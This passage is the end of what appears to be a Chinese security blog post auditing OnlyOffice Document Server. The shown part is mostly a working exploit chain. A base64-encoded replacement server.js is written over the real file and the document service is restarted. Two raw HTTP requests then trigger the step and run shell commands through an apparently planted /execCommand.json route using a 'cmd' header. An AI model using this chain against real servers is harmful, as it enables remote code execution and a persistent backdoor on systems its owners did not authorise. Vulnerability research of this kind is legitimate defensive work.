WNlLnVwbG9hZEltYWdlRmlsZU9sZCk7CgkJYXBwLnBvc3QoJy91cGxvYWQvOmRvY2lkLzp1c2VyaWQvOmluZGV4JywgcmF3RmlsZVBhcnNlciwgZmlsZVVwbG9hZGVyU2VydmljZS51cGxvYWRJbWFnZUZpbGUpOwoKCQlhcHAucG9zdCgnL2Rvd25sb2FkYXMvOmRvY2lkJywgcmF3RmlsZVBhcnNlciwgY2FudmFzU2VydmljZS5kb3dubG9hZEFzKTsKCQlhcHAucG9zdCgnL3NhdmVmaWxlLzpkb2NpZCcsIHJhd0ZpbGVQYXJzZXIsIGNhbnZhc1NlcnZpY2Uuc2F2ZUZpbGUpOwoJCWFwcC5nZXQoJy9oZWFsdGhjaGVjaycsIHV0aWxzLmNoZWNrQ2xpZW50SXAsIGRvY3NDb1NlcnZlci5oZWFsdGhDaGVjayk7CgoJCWFwcC5nZXQoJy9iYXNldXJsJywgKHJlcSwgcmVzKSA9PiB7CgkJCXJlcy5zZW5kKHV0aWxzLmdldEJhc2VVcmxCeVJlcXVlc3QocmVxKSk7CgkJfSk7CgoJCWFwcC5nZXQoJy9yb2JvdHMudHh0JywgKHJlcSwgcmVzKSA9PiB7CgkJCXJlcy5zZXRIZWFkZXIoJ0NvbnRlbnQtVHlwZScsICdwbGFpbi90ZXh0Jyk7CgkJCXJlcy5zZW5kKCJVc2VyLWFnZW50OiAqXG5EaXNhbGxvdzogLyIpOwoJCX0pOwoKCQlhcHAucG9zdCgnL2RvY2J1aWxkZXInLCB1dGlscy5jaGVja0NsaWVudElwLCByYXdGaWxlUGFyc2VyLCAocmVxLCByZXMpID0+IHsKCQkJY29udmVydGVyU2VydmljZS5idWlsZGVyKHJlcSwgcmVzKTsKCQl9KTsKCQlhcHAuZ2V0KCcvaW5mby9pbmZvLmpzb24nLCB1dGlscy5jaGVja0NsaWVudElwLCBkb2NzQ29TZXJ2ZXIubGljZW5zZUluZm8pOwoKCQljb25zdCBzZW5kVXNlclBsdWdpbnMgPSAocmVzLCBkYXRhKSA9PiB7CgkJCXJlcy5zZXRIZWFkZXIoJ0NvbnRlbnQtVHlwZScsICdhcHBsaWNhdGlvbi9qc29uJyk7CgkJCXJlcy5zZW5kKEpTT04uc3RyaW5naWZ5KGRhdGEpKTsKCQl9OwoJCWFwcC5nZXQoJy9wbHVnaW5zLmpzb24nLCAocmVxLCByZXMpID0+IHsKCQkJaWYgKHVzZXJQbHVnaW5zICYmICF1cGRhdGVQbHVnaW5zKSB7CgkJCQlzZW5kVXNlclBsdWdpbnMocmVzLCB1c2VyUGx1Z2lucyk7CgkJCQlyZXR1cm47CgkJCX0KCgkJCWlmICghY29uZmlnLmhhcygnc2VydmVyLnN0YXRpY19jb250ZW50JykgfHwgIWNvbmZpZy5oYXMoJ3BsdWdpbnMudXJpJykpIHsKCQkJCXJlcy5zZW5kU3RhdHVzKDQwNCk7CgkJCQlyZXR1cm47CgkJCX0KCgkJCWxldCBzdGF0aWNDb250ZW50ID0gY29uZmlnLmdldCgnc2VydmVyLnN0YXRpY19jb250ZW50Jyk7CgkJCWxldCBwbHVnaW5zVXJpID0gY29uZmlnLmdldCgncGx1Z2lucy51cmknKTsKCQkJbGV0IHBsdWdpbnNQYXRoID0gdW5kZWZpbmVkOwoJCQlsZXQgcGx1Z2luc0F1dG9zdGFydCA9IGNvbmZpZy5nZXQoJ3BsdWdpbnMuYXV0b3N0YXJ0Jyk7CgoJCQlpZiAoc3RhdGljQ29udGVudFtwbHVnaW5zVXJpXSkgewoJCQkJcGx1Z2luc1BhdGggPSBzdGF0aWNDb250ZW50W3BsdWdpbnNVcmldLnBhdGg7CgkJCX0KCgkJCWxldCBiYXNlVXJsID0gJy4uLy4uLy4uLy4uJzsKCQkJdXRpbHMubGlzdEZvbGRlcnMocGx1Z2luc1BhdGgsIHRydWUpLnRoZW4oKHZhbHVlcykgPT4gewoJCQkJcmV0dXJuIGNvKGZ1bmN0aW9uKigpIHsKCQkJCQljb25zdCBjb25maWdGaWxlID0gJ2NvbmZpZy5qc29uJzsKCQkJCQlsZXQgc3RhdHMgPSBudWxsOwoJCQkJCWxldCByZXN1bHQgPSBbXTsKCQkJCQlmb3IgKGxldCBpID0gMDsgaSA8IHZhbHVlcy5sZW5ndGg7ICsraSkgewoJCQkJCQl0cnkgewoJCQkJCQkJc3RhdHMgPSB5aWVsZCB1dGlscy5mc1N0YXQocGF0aC5qb2luKHZhbHVlc1tpXSwgY29uZmlnRmlsZSkpOwoJCQkJCQl9IGNhdGNoIChlcnIpIHsKCQkJCQkJCXN0YXRzID0gbnVsbDsKCQkJCQkJfQoKCQkJCQkJaWYgKHN0YXRzICYmIHN0YXRzLmlzRmlsZSkgewoJCQkJCQkJcmVzdWx0LnB1c2goIGJhc2VVcmwgKyBwbHVnaW5zVXJpICsgJy8nICsgcGF0aC5iYXNlbmFtZSh2YWx1ZXNbaV0pICsgJy8nICsgY29uZmlnRmlsZSk7CgkJCQkJCX0KCQkJCQl9CgoJCQkJCXVzZXJQbHVnaW5zID0geyd1cmwnOiAnJywgJ3BsdWdpbnNEYXRhJzogcmVzdWx0LCAnYXV0b3N0YXJ0JzogcGx1Z2luc0F1dG9zdGFydH07CgkJCQkJc2VuZFVzZXJQbHVnaW5zKHJlcywgdXNlclBsdWdpbnMpOwoJCQkJfSk7CgkJCX0pOwoJCX0pOwoJfSk7CgoJcHJvY2Vzcy5vbignbWVzc2FnZScsIChtc2cpID0+IHsKCQlpZiAoIWRvY3NDb1NlcnZlcikgewoJCQlyZXR1cm47CgkJfQoJCXN3aXRjaCAobXNnLnR5cGUpIHsKCQkJY2FzZSAxOgoJCQkJZG9jc0NvU2VydmVyLnNldExpY2Vuc2VJbmZvKG1zZy5kYXRhKTsKCQkJCWJyZWFrOwoJCQljYXNlIDI6CgkJCQl1cGRhdGVQbHVnaW5zID0gdHJ1ZTsKCQkJCWJyZWFrOwoJCX0KCX0pOwp9Cgpwcm9jZXNzLm9uKCd1bmNhdWdodEV4Y2VwdGlvbicsIChlcnIpID0+IHsKCWxvZ2dlci5lcnJvcigobmV3IERhdGUpLnRvVVRDU3RyaW5nKCkgKyAnIHVuY2F1Z2h0RXhjZXB0aW9uOicsIGVyci5tZXNzYWdlKTsKCWxvZ2dlci5lcnJvcihlcnIuc3RhY2spOwoJbG9nZ2VyLnNodXRkb3duKCgpID0+IHsKCQlwcm9jZXNzLmV4aXQoMSk7Cgl9KTsKfSk7Cg==" | base64 -d > /var/www/onlyoffice/documentserver/server/DocService/sources/server.js;/usr/bin/supervisorctl restart onlyoffice-documentserver:docservice ``` 上述请求就是备份原server文件并删除,上传我们添加路由的server.js,利用原本的服务重启express进程(这里需要寻找服务进程地址,篇幅原因省略了),这样我们就能访问接口直接RCE了 执行: ```http POST /downloadas/1?cmd={"c":"save","id":"123456","savetype":3} HTTP/1.1 Host: xxx Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "macOS" Accept-Language: zh-CN Accept-Encoding: gzip, deflate, br Priority: u=0, i Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 0 ``` RCE: ```http POST /execCommand.json HTTP/1.1 Host: xxx Upgrade-Insecure-Requests: 1 cmd: ls User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Sec-Ch-Ua: "Chromium";v="127", "Not)A;Brand";v="99" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "macOS" Accept-Language: zh-CN Accept-Encoding: gzip, deflate, br Priority: u=0, i Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 0 ```  至此我的头也不痒了,雨也不下了,晚上正好去江边溜达溜达
发表于 2026-07-24 09:00:02
阅读 ( 2625 )
分类:
代码审计
0 推荐
收藏
0 条评论
xinca0Zzz
2 篇文章
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!